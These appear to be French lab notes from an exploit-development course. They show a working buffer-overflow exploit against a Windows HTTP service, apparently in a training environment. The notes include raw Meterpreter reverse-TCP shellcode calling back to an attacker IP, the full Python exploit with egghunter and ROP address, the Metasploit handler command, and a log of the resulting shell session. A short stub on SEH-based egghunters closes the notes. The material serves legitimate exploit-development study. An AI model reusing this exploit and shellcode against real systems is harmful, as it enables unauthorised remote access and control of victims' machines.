[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of python file: 1926 bytes
payload =  b""
payload += b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5"
payload += b"\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
payload += b"\x72\x28\x31\xff\x0f\xb7\x4a\x26\x31\xc0\xac"
payload += b"\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
payload += b"\x49\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x57"
payload += b"\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0"
payload += b"\x8b\x58\x20\x8b\x48\x18\x50\x01\xd3\x85\xc9"
payload += b"\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31"
payload += b"\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4"
payload += b"\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58"
payload += b"\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01"
payload += b"\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"
payload += b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
payload += b"\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
payload += b"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
payload += b"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29"
payload += b"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a"
payload += b"\x0a\x68\xc0\xa8\x2d\xb7\x68\x02\x00\x01\xbb"
payload += b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68"
payload += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57"
payload += b"\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a"
payload += b"\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a"
payload += b"\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
payload += b"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68"
payload += b"\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
payload += b"\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
payload += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28"
payload += b"\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
payload += b"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61"
payload += b"\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
payload += b"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6"
payload += b"\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53"
payload += b"\xff\xd5"

On met à jour l'exploit avec le shellcode de Meterpreter :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 253

  httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"  # xor ecx, ecx; test ecx, ecx; je 0x17 

  egghunter = (b"\x90\x90\x90\x90\x90\x90\x90\x90" # NOP sled
             b"\x66\x81\xca\xff\x0f\x42\x52\xb8"
             b"\x3a\xfe\xff\xff\xf7\xd8\xcd\x2e"
             b"\x3c\x05\x5a\x74\xeb\xb8\x77\x30"
             b"\x30\x74\x89\xd7\xaf\x75\xe6\xaf"
             b"\x75\xe3\xff\xe7")

  inputBuffer = b"\x41" * (size - len(egghunter))
  inputBuffer+= pack("<L", (0x418674))                  # 0x00418674 - pop eax; ret
  httpEndRequest = b"\r\n\r\n"

  payload =  b""
  payload += b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5"
  payload += b"\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
  payload += b"\x72\x28\x31\xff\x0f\xb7\x4a\x26\x31\xc0\xac"
  payload += b"\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
  payload += b"\x49\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x57"
  payload += b"\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0"
  payload += b"\x8b\x58\x20\x8b\x48\x18\x50\x01\xd3\x85\xc9"
  payload += b"\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31"
  payload += b"\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4"
  payload += b"\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58"
  payload += b"\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01"
  payload += b"\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"
  payload += b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
  payload += b"\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
  payload += b"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
  payload += b"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29"
  payload += b"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a"
  payload += b"\x0a\x68\xc0\xa8\x2d\xb7\x68\x02\x00\x01\xbb"
  payload += b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68"
  payload += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57"
  payload += b"\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a"
  payload += b"\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a"
  payload += b"\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
  payload += b"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68"
  payload += b"\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
  payload += b"\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
  payload += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28"
  payload += b"\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
  payload += b"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61"
  payload += b"\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
  payload += b"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6"
  payload += b"\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53"
  payload += b"\xff\xd5"

  shellcode = b"w00tw00t" + payload +  b"\x44" * (400 - len(payload))

  buf = httpMethod + egghunter + inputBuffer +  httpEndRequest + shellcode

  print("Sending buffer")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buf)
  s.close()

  print("Done!")

except socket.error:
  print("Could not connect!")

On lance un handler Meterpreter :

┌──(kalikali)-[/media//os/exp-301-osed/cours/cours6]
└─$ sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.45.183; set LPORT 443; exploit"
[sudo] password for kali:
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.45.183
LPORT => 443
[*] Started reverse TCP handler on 192.168.45.183:443

Puis on lance l'exploit mis à jour :

┌──(kalikali)-[/media//os/exp-301-osed/cours/cours6]
└─$ python3 egg_v12.py 192.168.234.10
Sending buffer
Done!

Et on reçoit un reverse shell :

[*] Sending stage (175686 bytes) to 192.168.234.10
[*] Meterpreter session 1 opened (192.168.45.183:443 -> 192.168.234.10:53994) at 2024-07-26 17:21:38 -0400

meterpreter > getuid
Server username: CLIENT\Offsec

Améliorer la portabilité du Egghunter en utilisant SEH [TbD]

Initialement, le code egghunter utilisait la fonction NtAccessCheckAndAuditAlarm, car le code de l'appel système n'avait pas changé depuis Windows 8. On a dû écrire en dur le nouveau code de l'appel système, impactant la portabilité de l'exploit, car il devient nécessaire d'identifier la version de l'OS en amont.

On veut trouver un moyen que ça fonctionne sur toutes les versions de Windows.

L'idée d'utiliser NtAccessCheckAndAuditAlarm permet de déléguer la prise en charge de l'access violation au système d'exploitation. Cependant, nous pourrions le faire nous-mêmes.

On va créer notre propre Structured Exception Handler pour gérer l'accès à des pages mémoires invalides. Le processus SEH n'a pas beaucoup changé par rapport aux anciennes versions de Windows. L'impact est que le code de egghunter passe de 35b a 60b.